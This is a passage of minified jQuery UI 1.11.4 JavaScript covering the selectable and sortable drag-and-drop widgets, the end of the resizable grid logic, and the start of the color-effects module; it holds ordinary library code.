s.grid?[s.grid,s.grid]:s.grid,l=h[0]||1,u=h[1]||1,d=Math.round((n.width-a.width)/l)*l,c=Math.round((n.height-a.height)/u)*u,p=a.width+d,f=a.height+c,m=s.maxWidth&&p>s.maxWidth,g=s.maxHeight&&f>s.maxHeight,v=s.minWidth&&s.minWidth>p,y=s.minHeight&&s.minHeight>f;s.grid=h,v&&(p+=l),y&&(f+=u),m&&(p-=l),g&&(f-=u),/^(se|s|e)$/.test(r)?(i.size.width=p,i.size.height=f):/^(ne)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.top=o.top-c):/^(sw)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.left=o.left-d):((0>=f-u||0>=p-l)&&(t=i._getPaddingPlusBorderDimensions(this)),f-u>0?(i.size.height=f,i.position.top=o.top-c):(f=u-t.height,i.size.height=f,i.position.top=o.top+a.height-f),p-l>0?(i.size.width=p,i.position.left=o.left-d):(p=l-t.width,i.size.width=p,i.position.left=o.left+a.width-p))}}),e.ui.resizable,e.widget("ui.selectable",e.ui.mouse,{version:"1.11.4",options:{appendTo:"body",autoRefresh:!0,distance:0,filter:"*",tolerance:"touch",selected:null,selecting:null,start:null,stop:null,unselected:null,unselecting:null},_create:function(){var t,i=this;this.element.addClass("ui-selectable"),this.dragged=!1,this.refresh=function(){t=e(i.options.filter,i.element[0]),t.addClass("ui-selectee"),t.each(function(){var t=e(this),i=t.offset();e.data(this,"selectable-item",{element:this,$element:t,left:i.left,top:i.top,right:i.left+t.outerWidth(),bottom:i.top+t.outerHeight(),startselected:!1,selected:t.hasClass("ui-selected"),selecting:t.hasClass("ui-selecting"),unselecting:t.hasClass("ui-unselecting")})})},this.refresh(),this.selectees=t.addClass("ui-selectee"),this._mouseInit(),this.helper=e("<div class='ui-selectable-helper'></div>")},_destroy:function(){this.selectees.removeClass("ui-selectee").removeData("selectable-item"),this.element.removeClass("ui-selectable ui-selectable-disabled"),this._mouseDestroy()},_mouseStart:function(t){var i=this,s=this.options;this.opos=[t.pageX,t.pageY],this.options.disabled||(this.selectees=e(s.filter,this.element[0]),this._trigger("start",t),e(s.appendTo).append(this.helper),this.helper.css({left:t.pageX,top:t.pageY,width:0,height:0}),s.autoRefresh&&this.refresh(),this.selectees.filter(".ui-selected").each(function(){var s=e.data(this,"selectable-item");s.startselected=!0,t.metaKey||t.ctrlKey||(s.$element.removeClass("ui-selected"),s.selected=!1,s.$element.addClass("ui-unselecting"),s.unselecting=!0,i._trigger("unselecting",t,{unselecting:s.element}))}),e(t.target).parents().addBack().each(function(){var s,n=e.data(this,"selectable-item");return n?(s=!t.metaKey&&!t.ctrlKey||!n.$element.hasClass("ui-selected"),n.$element.removeClass(s?"ui-unselecting":"ui-selected").addClass(s?"ui-selecting":"ui-unselecting"),n.unselecting=!s,n.selecting=s,n.selected=s,s?i._trigger("selecting",t,{selecting:n.element}):i._trigger("unselecting",t,{unselecting:n.element}),!1):void 0}))},_mouseDrag:function(t){if(this.dragged=!0,!this.options.disabled){var i,s=this,n=this.options,a=this.opos[0],o=this.opos[1],r=t.pageX,h=t.pageY;return a>r&&(i=r,r=a,a=i),o>h&&(i=h,h=o,o=i),this.helper.css({left:a,top:o,width:r-a,height:h-o}),this.selectees.each(function(){var i=e.data(this,"selectable-item"),l=!1;
i&&i.element!==s.element[0]&&("touch"===n.tolerance?l=!(i.left>r||a>i.right||i.top>h||o>i.bottom):"fit"===n.tolerance&&(l=i.left>a&&r>i.right&&i.top>o&&h>i.bottom),l?(i.selected&&(i.$element.removeClass("ui-selected"),i.selected=!1),i.unselecting&&(i.$element.removeClass("ui-unselecting"),i.unselecting=!1),i.selecting||(i.$element.addClass("ui-selecting"),i.selecting=!0,s._trigger("selecting",t,{selecting:i.element}))):(i.selecting&&((t.metaKey||t.ctrlKey)&&i.startselected?(i.$element.removeClass("ui-selecting"),i.selecting=!1,i.$element.addClass("ui-selected"),i.selected=!0):(i.$element.removeClass("ui-selecting"),i.selecting=!1,i.startselected&&(i.$element.addClass("ui-unselecting"),i.unselecting=!0),s._trigger("unselecting",t,{unselecting:i.element}))),i.selected&&(t.metaKey||t.ctrlKey||i.startselected||(i.$element.removeClass("ui-selected"),i.selected=!1,i.$element.addClass("ui-unselecting"),i.unselecting=!0,s._trigger("unselecting",t,{unselecting:i.element})))))}),!1}},_mouseStop:function(t){var i=this;return this.dragged=!1,e(".ui-unselecting",this.element[0]).each(function(){var s=e.data(this,"selectable-item");s.$element.removeClass("ui-unselecting"),s.unselecting=!1,s.startselected=!1,i._trigger("unselected",t,{unselected:s.element})}),e(".ui-selecting",this.element[0]).each(function(){var s=e.data(this,"selectable-item");s.$element.removeClass("ui-selecting").addClass("ui-selected"),s.selecting=!1,s.selected=!0,s.startselected=!0,i._trigger("selected",t,{selected:s.element})}),this._trigger("stop",t),this.helper.remove(),!1}}),e.widget("ui.sortable",e.ui.mouse,{version:"1.11.4",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_isOverAxis:function(e,t,i){return e>=t&&t+i>e},_isFloating:function(e){return/left|right/.test(e.css("float"))||/inline|table-cell/.test(e.css("display"))},_create:function(){this.containerCache={},this.element.addClass("ui-sortable"),this.refresh(),this.offset=this.element.offset(),this._mouseInit(),this._setHandleClassName(),this.ready=!0},_setOption:function(e,t){this._super(e,t),"handle"===e&&this._setHandleClassName()},_setHandleClassName:function(){this.element.find(".ui-sortable-handle").removeClass("ui-sortable-handle"),e.each(this.items,function(){(this.instance.options.handle?this.item.find(this.instance.options.handle):this.item).addClass("ui-sortable-handle")})},_destroy:function(){this.element.removeClass("ui-sortable ui-sortable-disabled").find(".ui-sortable-handle").removeClass("ui-sortable-handle"),this._mouseDestroy();for(var e=this.items.length-1;e>=0;e--)this.items[e].item.removeData(this.widgetName+"-item");return this},_mouseCapture:function(t,i){var s=null,n=!1,a=this;return this.reverting?!1:this.options.disabled||"static"===this.options.type?!1:(this._refreshItems(t),e(t.target).parents().each(function(){return e.data(this,a.widgetName+"-item")===a?(s=e(this),!1):void 0}),e.data(t.target,a.widgetName+"-item")===a&&(s=e(t.target)),s?!this.options.handle||i||(e(this.options.handle,s).find("*").addBack().each(function(){this===t.target&&(n=!0)}),n)?(this.currentItem=s,this._removeCurrentsFromItems(),!0):!1:!1)},_mouseStart:function(t,i,s){var n,a,o=this.options;if(this.currentContainer=this,this.refreshPositions(),this.helper=this._createHelper(t),this._cacheHelperProportions(),this._cacheMargins(),this.scrollParent=this.helper.scrollParent(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},e.extend(this.offset,{click:{left:t.pageX-this.offset.left,top:t.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),this.originalPosition=this._generatePosition(t),this.originalPageX=t.pageX,this.originalPageY=t.pageY,o.cursorAt&&this._adjustOffsetFromHelper(o.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),o.containment&&this._setContainment(),o.cursor&&"auto"!==o.cursor&&(a=this.document.find("body"),this.storedCursor=a.css("cursor"),a.css("cursor",o.cursor),this.storedStylesheet=e("<style>*{ cursor: "+o.cursor+" !important; }</style>").appendTo(a)),o.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",o.opacity)),o.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",o.zIndex)),this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",t,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!s)for(n=this.containers.length-1;n>=0;n--)this.containers[n]._trigger("activate",t,this._uiHash(this));return e.ui.ddmanager&&(e.ui.ddmanager.current=this),e.ui.ddmanager&&!o.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this.dragging=!0,this.helper.addClass("ui-sortable-helper"),this._mouseDrag(t),!0},_mouseDrag:function(t){var i,s,n,a,o=this.options,r=!1;for(this.position=this._generatePosition(t),this.positionAbs=this._convertPositionTo("absolute"),this.lastPositionAbs||(this.lastPositionAbs=this.positionAbs),this.options.scroll&&(this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-t.pageY<o.scrollSensitivity?this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop+o.scrollSpeed:t.pageY-this.overflowOffset.top<o.scrollSensitivity&&(this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop-o.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-t.pageX<o.scrollSensitivity?this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft+o.scrollSpeed:t.pageX-this.overflowOffset.left<o.scrollSensitivity&&(this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft-o.scrollSpeed)):(t.pageY-this.document.scrollTop()<o.scrollSensitivity?r=this.document.scrollTop(this.document.scrollTop()-o.scrollSpeed):this.window.height()-(t.pageY-this.document.scrollTop())<o.scrollSensitivity&&(r=this.document.scrollTop(this.document.scrollTop()+o.scrollSpeed)),t.pageX-this.document.scrollLeft()<o.scrollSensitivity?r=this.document.scrollLeft(this.document.scrollLeft()-o.scrollSpeed):this.window.width()-(t.pageX-this.document.scrollLeft())<o.scrollSensitivity&&(r=this.document.scrollLeft(this.document.scrollLeft()+o.scrollSpeed))),r!==!1&&e.ui.ddmanager&&!o.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t)),this.positionAbs=this._convertPositionTo("absolute"),this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),i=this.items.length-1;i>=0;i--)if(s=this.items[i],n=s.item[0],a=this._intersectsWithPointer(s),a&&s.instance===this.currentContainer&&n!==this.currentItem[0]&&this.placeholder[1===a?"next":"prev"]()[0]!==n&&!e.contains(this.placeholder[0],n)&&("semi-dynamic"===this.options.type?!e.contains(this.element[0],n):!0)){if(this.direction=1===a?"down":"up","pointer"!==this.options.tolerance&&!this._intersectsWithSides(s))break;this._rearrange(t,s),this._trigger("change",t,this._uiHash());break}return this._contactContainers(t),e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),this._trigger("sort",t,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(t,i){if(t){if(e.ui.ddmanager&&!this.options.dropBehaviour&&e.ui.ddmanager.drop(this,t),this.options.revert){var s=this,n=this.placeholder.offset(),a=this.options.axis,o={};a&&"x"!==a||(o.left=n.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollLeft)),a&&"y"!==a||(o.top=n.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollTop)),this.reverting=!0,e(this.helper).animate(o,parseInt(this.options.revert,10)||500,function(){s._clear(t)})}else this._clear(t,i);return!1}},cancel:function(){if(this.dragging){this._mouseUp({target:null}),"original"===this.options.helper?this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper"):this.currentItem.show();for(var t=this.containers.length-1;t>=0;t--)this.containers[t]._trigger("deactivate",null,this._uiHash(this)),this.containers[t].containerCache.over&&(this.containers[t]._trigger("out",null,this._uiHash(this)),this.containers[t].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),"original"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),e.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?e(this.domPosition.prev).after(this.currentItem):e(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(t){var i=this._getItemsAsjQuery(t&&t.connected),s=[];return t=t||{},e(i).each(function(){var i=(e(t.item||this).attr(t.attribute||"id")||"").match(t.expression||/(.+)[\-=_](.+)/);i&&s.push((t.key||i[1]+"[]")+"="+(t.key&&t.expression?i[1]:i[2]))}),!s.length&&t.key&&s.push(t.key+"="),s.join("&")},toArray:function(t){var i=this._getItemsAsjQuery(t&&t.connected),s=[];return t=t||{},i.each(function(){s.push(e(t.item||this).attr(t.attribute||"id")||"")}),s},_intersectsWith:function(e){var t=this.positionAbs.left,i=t+this.helperProportions.width,s=this.positionAbs.top,n=s+this.helperProportions.height,a=e.left,o=a+e.width,r=e.top,h=r+e.height,l=this.offset.click.top,u=this.offset.click.left,d="x"===this.options.axis||s+l>r&&h>s+l,c="y"===this.options.axis||t+u>a&&o>t+u,p=d&&c;return"pointer"===this.options.tolerance||this.options.forcePointerForContainers||"pointer"!==this.options.tolerance&&this.helperProportions[this.floating?"width":"height"]>e[this.floating?"width":"height"]?p:t+this.helperProportions.width/2>a&&o>i-this.helperProportions.width/2&&s+this.helperProportions.height/2>r&&h>n-this.helperProportions.height/2},_intersectsWithPointer:function(e){var t="x"===this.options.axis||this._isOverAxis(this.positionAbs.top+this.offset.click.top,e.top,e.height),i="y"===this.options.axis||this._isOverAxis(this.positionAbs.left+this.offset.click.left,e.left,e.width),s=t&&i,n=this._getDragVerticalDirection(),a=this._getDragHorizontalDirection();return s?this.floating?a&&"right"===a||"down"===n?2:1:n&&("down"===n?2:1):!1},_intersectsWithSides:function(e){var t=this._isOverAxis(this.positionAbs.top+this.offset.click.top,e.top+e.height/2,e.height),i=this._isOverAxis(this.positionAbs.left+this.offset.click.left,e.left+e.width/2,e.width),s=this._getDragVerticalDirection(),n=this._getDragHorizontalDirection();return this.floating&&n?"right"===n&&i||"left"===n&&!i:s&&("down"===s&&t||"up"===s&&!t)},_getDragVerticalDirection:function(){var e=this.positionAbs.top-this.lastPositionAbs.top;return 0!==e&&(e>0?"down":"up")},_getDragHorizontalDirection:function(){var e=this.positionAbs.left-this.lastPositionAbs.left;return 0!==e&&(e>0?"right":"left")},refresh:function(e){return this._refreshItems(e),this._setHandleClassName(),this.refreshPositions(),this},_connectWith:function(){var e=this.options;return e.connectWith.constructor===String?[e.connectWith]:e.connectWith},_getItemsAsjQuery:function(t){function i(){r.push(this)}var s,n,a,o,r=[],h=[],l=this._connectWith();if(l&&t)for(s=l.length-1;s>=0;s--)for(a=e(l[s],this.document[0]),n=a.length-1;n>=0;n--)o=e.data(a[n],this.widgetFullName),o&&o!==this&&!o.options.disabled&&h.push([e.isFunction(o.options.items)?o.options.items.call(o.element):e(o.options.items,o.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),o]);for(h.push([e.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):e(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]),s=h.length-1;s>=0;s--)h[s][0].each(i);return e(r)},_removeCurrentsFromItems:function(){var t=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=e.grep(this.items,function(e){for(var i=0;t.length>i;i++)if(t[i]===e.item[0])return!1;return!0})},_refreshItems:function(t){this.items=[],this.containers=[this];var i,s,n,a,o,r,h,l,u=this.items,d=[[e.isFunction(this.options.items)?this.options.items.call(this.element[0],t,{item:this.currentItem}):e(this.options.items,this.element),this]],c=this._connectWith();if(c&&this.ready)for(i=c.length-1;i>=0;i--)for(n=e(c[i],this.document[0]),s=n.length-1;s>=0;s--)a=e.data(n[s],this.widgetFullName),a&&a!==this&&!a.options.disabled&&(d.push([e.isFunction(a.options.items)?a.options.items.call(a.element[0],t,{item:this.currentItem}):e(a.options.items,a.element),a]),this.containers.push(a));for(i=d.length-1;i>=0;i--)for(o=d[i][1],r=d[i][0],s=0,l=r.length;l>s;s++)h=e(r[s]),h.data(this.widgetName+"-item",o),u.push({item:h,instance:o,width:0,height:0,left:0,top:0})},refreshPositions:function(t){this.floating=this.items.length?"x"===this.options.axis||this._isFloating(this.items[0].item):!1,this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset());var i,s,n,a;for(i=this.items.length-1;i>=0;i--)s=this.items[i],s.instance!==this.currentContainer&&this.currentContainer&&s.item[0]!==this.currentItem[0]||(n=this.options.toleranceElement?e(this.options.toleranceElement,s.item):s.item,t||(s.width=n.outerWidth(),s.height=n.outerHeight()),a=n.offset(),s.left=a.left,s.top=a.top);if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(i=this.containers.length-1;i>=0;i--)a=this.containers[i].element.offset(),this.containers[i].containerCache.left=a.left,this.containers[i].containerCache.top=a.top,this.containers[i].containerCache.width=this.containers[i].element.outerWidth(),this.containers[i].containerCache.height=this.containers[i].element.outerHeight();return this},_createPlaceholder:function(t){t=t||this;var i,s=t.options;s.placeholder&&s.placeholder.constructor!==String||(i=s.placeholder,s.placeholder={element:function(){var s=t.currentItem[0].nodeName.toLowerCase(),n=e("<"+s+">",t.document[0]).addClass(i||t.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper");return"tbody"===s?t._createTrPlaceholder(t.currentItem.find("tr").eq(0),e("<tr>",t.document[0]).appendTo(n)):"tr"===s?t._createTrPlaceholder(t.currentItem,n):"img"===s&&n.attr("src",t.currentItem.attr("src")),i||n.css("visibility","hidden"),n},update:function(e,n){(!i||s.forcePlaceholderSize)&&(n.height()||n.height(t.currentItem.innerHeight()-parseInt(t.currentItem.css("paddingTop")||0,10)-parseInt(t.currentItem.css("paddingBottom")||0,10)),n.width()||n.width(t.currentItem.innerWidth()-parseInt(t.currentItem.css("paddingLeft")||0,10)-parseInt(t.currentItem.css("paddingRight")||0,10)))}}),t.placeholder=e(s.placeholder.element.call(t.element,t.currentItem)),t.currentItem.after(t.placeholder),s.placeholder.update(t,t.placeholder)},_createTrPlaceholder:function(t,i){var s=this;t.children().each(function(){e("<td>&#160;</td>",s.document[0]).attr("colspan",e(this).attr("colspan")||1).appendTo(i)})},_contactContainers:function(t){var i,s,n,a,o,r,h,l,u,d,c=null,p=null;for(i=this.containers.length-1;i>=0;i--)if(!e.contains(this.currentItem[0],this.containers[i].element[0]))if(this._intersectsWith(this.containers[i].containerCache)){if(c&&e.contains(this.containers[i].element[0],c.element[0]))continue;c=this.containers[i],p=i}else this.containers[i].containerCache.over&&(this.containers[i]._trigger("out",t,this._uiHash(this)),this.containers[i].containerCache.over=0);if(c)if(1===this.containers.length)this.containers[p].containerCache.over||(this.containers[p]._trigger("over",t,this._uiHash(this)),this.containers[p].containerCache.over=1);else{for(n=1e4,a=null,u=c.floating||this._isFloating(this.currentItem),o=u?"left":"top",r=u?"width":"height",d=u?"clientX":"clientY",s=this.items.length-1;s>=0;s--)e.contains(this.containers[p].element[0],this.items[s].item[0])&&this.items[s].item[0]!==this.currentItem[0]&&(h=this.items[s].item.offset()[o],l=!1,t[d]-h>this.items[s][r]/2&&(l=!0),n>Math.abs(t[d]-h)&&(n=Math.abs(t[d]-h),a=this.items[s],this.direction=l?"up":"down"));if(!a&&!this.options.dropOnEmpty)return;if(this.currentContainer===this.containers[p])return this.currentContainer.containerCache.over||(this.containers[p]._trigger("over",t,this._uiHash()),this.currentContainer.containerCache.over=1),void 0;a?this._rearrange(t,a,null,!0):this._rearrange(t,null,this.containers[p].element,!0),this._trigger("change",t,this._uiHash()),this.containers[p]._trigger("change",t,this._uiHash(this)),this.currentContainer=this.containers[p],this.options.placeholder.update(this.currentContainer,this.placeholder),this.containers[p]._trigger("over",t,this._uiHash(this)),this.containers[p].containerCache.over=1}},_createHelper:function(t){var i=this.options,s=e.isFunction(i.helper)?e(i.helper.apply(this.element[0],[t,this.currentItem])):"clone"===i.helper?this.currentItem.clone():this.currentItem;return s.parents("body").length||e("parent"!==i.appendTo?i.appendTo:this.currentItem[0].parentNode)[0].appendChild(s[0]),s[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}),(!s[0].style.width||i.forceHelperSize)&&s.width(this.currentItem.width()),(!s[0].style.height||i.forceHelperSize)&&s.height(this.currentItem.height()),s},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),e.isArray(t)&&(t={left:+t[0],top:+t[1]||0}),"left"in t&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var t=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==this.document[0]&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),(this.offsetParent[0]===this.document[0].body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&e.ui.ie)&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"===this.cssPosition){var e=this.currentItem.position();return{top:e.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:e.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,i,s,n=this.options;"parent"===n.containment&&(n.containment=this.helper[0].parentNode),("document"===n.containment||"window"===n.containment)&&(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,"document"===n.containment?this.document.width():this.window.width()-this.helperProportions.width-this.margins.left,("document"===n.containment?this.document.width():this.window.height()||this.document[0].body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]),/^(document|window|parent)$/.test(n.containment)||(t=e(n.containment)[0],i=e(n.containment).offset(),s="hidden"!==e(t).css("overflow"),this.containment=[i.left+(parseInt(e(t).css("borderLeftWidth"),10)||0)+(parseInt(e(t).css("paddingLeft"),10)||0)-this.margins.left,i.top+(parseInt(e(t).css("borderTopWidth"),10)||0)+(parseInt(e(t).css("paddingTop"),10)||0)-this.margins.top,i.left+(s?Math.max(t.scrollWidth,t.offsetWidth):t.offsetWidth)-(parseInt(e(t).css("borderLeftWidth"),10)||0)-(parseInt(e(t).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,i.top+(s?Math.max(t.scrollHeight,t.offsetHeight):t.offsetHeight)-(parseInt(e(t).css("borderTopWidth"),10)||0)-(parseInt(e(t).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(t,i){i||(i=this.position);var s="absolute"===t?1:-1,n="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,a=/(html|body)/i.test(n[0].tagName);return{top:i.top+this.offset.relative.top*s+this.offset.parent.top*s-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():a?0:n.scrollTop())*s,left:i.left+this.offset.relative.left*s+this.offset.parent.left*s-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():a?0:n.scrollLeft())*s}},_generatePosition:function(t){var i,s,n=this.options,a=t.pageX,o=t.pageY,r="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,h=/(html|body)/i.test(r[0].tagName);return"relative"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(t.pageX-this.offset.click.left<this.containment[0]&&(a=this.containment[0]+this.offset.click.left),t.pageY-this.offset.click.top<this.containment[1]&&(o=this.containment[1]+this.offset.click.top),t.pageX-this.offset.click.left>this.containment[2]&&(a=this.containment[2]+this.offset.click.left),t.pageY-this.offset.click.top>this.containment[3]&&(o=this.containment[3]+this.offset.click.top)),n.grid&&(i=this.originalPageY+Math.round((o-this.originalPageY)/n.grid[1])*n.grid[1],o=this.containment?i-this.offset.click.top>=this.containment[1]&&i-this.offset.click.top<=this.containment[3]?i:i-this.offset.click.top>=this.containment[1]?i-n.grid[1]:i+n.grid[1]:i,s=this.originalPageX+Math.round((a-this.originalPageX)/n.grid[0])*n.grid[0],a=this.containment?s-this.offset.click.left>=this.containment[0]&&s-this.offset.click.left<=this.containment[2]?s:s-this.offset.click.left>=this.containment[0]?s-n.grid[0]:s+n.grid[0]:s)),{top:o-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():h?0:r.scrollTop()),left:a-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():h?0:r.scrollLeft())}},_rearrange:function(e,t,i,s){i?i[0].appendChild(this.placeholder[0]):t.item[0].parentNode.insertBefore(this.placeholder[0],"down"===this.direction?t.item[0]:t.item[0].nextSibling),this.counter=this.counter?++this.counter:1;var n=this.counter;this._delay(function(){n===this.counter&&this.refreshPositions(!s)})},_clear:function(e,t){function i(e,t,i){return function(s){i._trigger(e,s,t._uiHash(t))}}this.reverting=!1;var s,n=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(s in this._storedCSS)("auto"===this._storedCSS[s]||"static"===this._storedCSS[s])&&(this._storedCSS[s]="");this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper")}else this.currentItem.show();for(this.fromOutside&&!t&&n.push(function(e){this._trigger("receive",e,this._uiHash(this.fromOutside))}),!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(".ui-sortable-helper")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||t||n.push(function(e){this._trigger("update",e,this._uiHash())}),this!==this.currentContainer&&(t||(n.push(function(e){this._trigger("remove",e,this._uiHash())}),n.push(function(e){return function(t){e._trigger("receive",t,this._uiHash(this))}}.call(this,this.currentContainer)),n.push(function(e){return function(t){e._trigger("update",t,this._uiHash(this))}}.call(this,this.currentContainer)))),s=this.containers.length-1;s>=0;s--)t||n.push(i("deactivate",this,this.containers[s])),this.containers[s].containerCache.over&&(n.push(i("out",this,this.containers[s])),this.containers[s].containerCache.over=0);if(this.storedCursor&&(this.document.find("body").css("cursor",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex","auto"===this._storedZIndex?"":this._storedZIndex),this.dragging=!1,t||this._trigger("beforeStop",e,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.cancelHelperRemoval||(this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null),!t){for(s=0;n.length>s;s++)n[s].call(this,e);this._trigger("stop",e,this._uiHash())}return this.fromOutside=!1,!this.cancelHelperRemoval},_trigger:function(){e.Widget.prototype._trigger.apply(this,arguments)===!1&&this.cancel()},_uiHash:function(t){var i=t||this;return{helper:i.helper,placeholder:i.placeholder||e([]),position:i.position,originalPosition:i.originalPosition,offset:i.positionAbs,item:i.currentItem,sender:t?t.element:null}}});var o="ui-effects-",r=e;e.effects={effect:{}},function(e,t){function i(e,t,i){var s=d[t.type]||{};return null==e?i||!t.def?null:t.def:(e=s.floor?~~e:parseFloat(e),isNaN(e)?t.def:s.mod?(e+s.mod)%s.mod:0>e?0:e>s.max?s.max:e)}function s(i){var s=l(),n=s._rgba=[];return i=i.toLowerCase(),f(h,function(e,a){var o,r=a.re.exec(i),h=r&&a.parse(r),l=a.space||"rgba";return h?(o=s[l](h),s[u[l].cache]=o[u[l].cache],n=s._rgba=o._rgba,!1):t}),n.length?("0,0,0,0"===n.join()&&e.extend(n,a.transparent),s):a[i]}function n(e,t,i){return i=(i+1)%1,1>6*i?e+6*(t-e)*i:1>2*i?t:2>3*i?e+6*(t-e)*(2/3-i):e}var a,o="backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor 